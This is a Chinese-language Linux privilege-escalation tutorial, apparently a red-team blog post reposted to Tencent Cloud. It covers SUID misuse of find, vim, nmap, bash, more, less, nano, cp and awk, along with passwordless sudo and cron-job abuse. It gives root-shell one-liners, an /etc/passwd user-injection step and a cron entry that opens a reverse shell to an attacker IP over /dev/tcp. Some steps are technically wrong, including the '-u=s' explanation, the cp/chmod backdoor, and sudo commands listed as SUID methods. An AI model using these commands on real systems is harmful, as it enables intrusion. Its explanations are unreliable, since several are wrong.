前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >linux提权方法 (上)

linux提权方法 (上)

作者头像
红队蓝军
发布2024-07-15 14:00:53
1670
发布2024-07-15 14:00:53
举报
文章被收录于专栏:红队蓝军

SUID配置错误提权

什么是suid

suid(set uid)是linux中的一种特殊权限,它允许一个程序在执行时临时拥有其所有者的权限。这种特性可以被用来进行权限提升,即在某些情况下,普通用户可以通过执行具有SUID权限的程序来获得更高权限,例如root权限。

SUID权限通常设置在二进制程序上,当设置了SUID权限的程序被执行时,执行者将获得该程序所有者的权限,直到程序执行完成。这可以用于合法的权限提升,比如让用户能够编辑一些需要特定权限的文件,但也可能被滥用来进行恶意的权限提升。

提权条件:

代码语言:javascript
复制
1、只有可以执行的二进制程序文件才能设定SUID权限
2、SUID权限只在该程序执行过程中有效
3、命令执行者对二进制程序文件有执行(x)权限

关于SUID权限的命令通常是使用chmod命令,例如:

代码语言:javascript
复制
1、设置suid:chmod u+s file
2、去除suid:chmod u-s file

如何查找suid文件

查找系统中具有SUID权限的文件,可以使用如下命令。例如:

代码语言:javascript
复制
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \; 

这里针对find / -perm -u=s -type f 2>/dev/null 命令解析

代码语言:javascript
复制
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

以上的命令会搜索整个文件系统,找出所有设置了SUID权限的文件

以上所有二进制文件都将以root用户权限执行,因为它们的权限中包含"s",并且对应的是root权限。

具有suid权限的二进制可执行文件有:

代码语言:javascript
复制
nmap
vim
find
bash
more
less
nano
cp
awk

进行suid提权

find提权

这里以vulnhub 靶场DC1为例

find具有suid权限

用find执行命令,‐name参数填写真实存在的文件名flag4

代码语言:javascript
复制
find -name flag4 -exec "/bin/sh" -p \;

/bin/bash -p:这是要执行的命令。/bin/bash 是一个常见的 Unix/Linux shell,而 -p 选项表示
以特权(即以 root 用户)运行 bash。打开一个交互式 shell 环境,具有 root 用户权限。
代码语言:javascript
复制
还可以新建一个文件,使用find命令进行提权
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami \;

注:一定要保证‐name参数后的文件为真实存在的。

vim提权

Vim提权通常是指当Vim或其相关文件(如vim.basic)被设置了SUID权限时,可以利用这个特性来获得更高权限,通常是root权限

利用Vim提权

1、使用具有SUID权限的vim.basic编辑/etc/passwd文件:

代码语言:javascript
复制
vim.basic /etc/passwd

在Vim中,你可以添加一个新的用户条目或修改现有用户条目的密码哈希,然后保存并退出。

2、创建新用户或修改密码:

/etc/passwd文件中添加如下格式的新用户:

其中6salt

代码语言:javascript
复制
newuser:$6$salt$hash:uid:gid:GECOS:home:shell

3、切换到新用户:保存修改后的/etc/passwd文件,并以新用户身份登录或使用su命令切换到新用户。

nmap提权

Nmap 提权主要是利用 Nmap 旧版本中的交互模式,或者利用 Nmap 的 SUID 权限设置来进行权限提升

检查 Nmap 版本:首先需要确定 Nmap 的版本是否支持交互模式,通常在 Nmap 2.02 到 5.21 版本之间支持此模式。

代码语言:javascript
复制
nmap -V

启动 Nmap 交互模式

代码语言:javascript
复制
nmap --interactive

利用 SUID 权限提权:如果 Nmap 具有 SUID 权限,可以通过执行 nmap --interactive 然后 !sh 来获取 root 权限的 shell。

代码语言:javascript
复制
nmap> !sh
sh-3.2# whoami
root
bash提权

Bash 提权通常是指利用 Bash 脚本或 Bash 特殊技巧来获取更高级别的权限,尤其是在 Linux 或类 Unix 系统中

当 Bash 有 SUID 权限时,通过执行 bash -p 来尝试获取一个 root shell。这将使 Bash 以文件所有者的权限运行,如果文件所有者是 root,那么你就可能获得 root 权限

代码语言:javascript
复制
bash -p

这里仅介绍bash具有suid权限时的提权方式,bash提权还有滥用 sudo 权限计划任务提权等方式进行提权

more提权

more 提权通常是指利用 more 命令的交互功能来尝试获取一个更高权限的 shell,尤其是在 Linux 或类 Unix 系统中

1、使用它来执行其他需要高权限的命令。例如,通过执行 more /etc/passwd 来查看密码文件。

代码语言:javascript
复制
more /etc/passwd

2、然后在 more 提示符 : 下输入 !/bin/sh 来尝试获取一个 shell

代码语言:javascript
复制
!/bin/sh
less提权

less 提权是一种在Linux系统中利用具有SUID权限的less程序,来尝试执行高权限命令的方法。如果less命令具有SUID权限,那么它就可以被用来提权

1、如果less具有SUID权限,你可以通过它来执行命令。首先,使用less打开一个文件,例如/etc/passwd

代码语言:javascript
复制
less /etc/passwd

2、然后在 less 提示符 :下输入!/bin/sh` 来尝试获取一个 shell

代码语言:javascript
复制
!/bin/sh
nano提权

nano 提权是一种在Linux系统中利用具有SUID权限的nano文本编辑器来尝试获取更高权限的方法。如果nano命令具有SUID权限,它就可以被用来提权。

1、如果nano具有SUID权限,你可以通过它来执行命令。首先,使用sudo加上具有SUID权限的nano打开一个文件:

代码语言:javascript
复制
sudo /bin/nano

2、在nano编辑器中,可以通过按下Ctrl + RCtrl + X来执行命令

代码语言:javascript
复制
Ctrl + R
Ctrl + X
cp提权

如果cp具有SUID权限,可以通过它来覆盖一些关键的系统文件或二进制文件,从而尝试获取更高权限

1、覆盖/bin/bash来创建一个后门 ,这会创建一个具有SUID权限的bash副本

代码语言:javascript
复制
cp /bin/bash /tmp/bash
chmod u+s /tmp/bash

2、执行/tmp/bash -p可以获取一个root权限的shell

代码语言:javascript
复制
/tmp/bash -p
awk提权

awk 提权是一种在Linux系统中利用具有SUID权限的awk程序来尝试执行高权限命令的方法。如果awk命令具有SUID权限,它就可以被用来提权

代码语言:javascript
复制
sudo awk 'BEGIN {system("/bin/bash")}'

sudo提权

sudo 提权通常是指在Linux系统中,如果一个普通用户被授予了使用sudo来执行某些命令的权限。

一般情况下,我们使用sudo命令都需要输入root密码

管理可能为了方便对/etc/sudoers进行编辑成sudo免密码 :

test ALL=(ALL:ALL) NOPASSWD:ALL 新增了一个test用户

切换到test用户, 不需要输入密码,且拥有root的权限

代码语言:javascript
复制
sudo su test

计划任务提权

计划任务提权是Linux系统提权的一种方法,它利用了系统中的定时任务(如cron作业)的配置不当或弱点来实现权限提升

1、查找计划任务:使用命令crontab -l查看当前用户的cron作业,或使用ls -la /etc/cron.*查看系统级别的cron作业配置文件

代码语言:javascript
复制
ls -l /etc/cron*
cat /etc/crontab 

2、分析计划任务的权限:检查cron作业文件的权限和所有者,如果某个作业文件权限较宽松(如权限为777),或者属于root,那么可能存在提权机会

3、编辑计划任务提权:如果发现可写的cron作业文件,尝试编辑该文件,添加执行恶意命令的行。例如,添加以下行来尝试反弹shell:

代码语言:javascript
复制
* * * * * /bin/bash -i >& /dev/tcp/192.168.111.5/1234 0>&1

其中192.168.111.51234分别是攻击者机器的IP地址和端口。

4、利用环境变量提权:某些cron作业可能通过环境变量执行命令,如果这些环境变量可以被修改,那么可以尝试添加恶意代码。例如:

代码语言:javascript
复制
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/path/to/your/malicious/script
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 红队蓝军 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • SUID配置错误提权
    • 什么是suid
      • 如何查找suid文件
        • 进行suid提权
          • find提权
          • vim提权
          • nmap提权
          • bash提权
          • more提权
          • less提权
          • nano提权
          • cp提权
          • awk提权
      • sudo提权
      • 计划任务提权
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档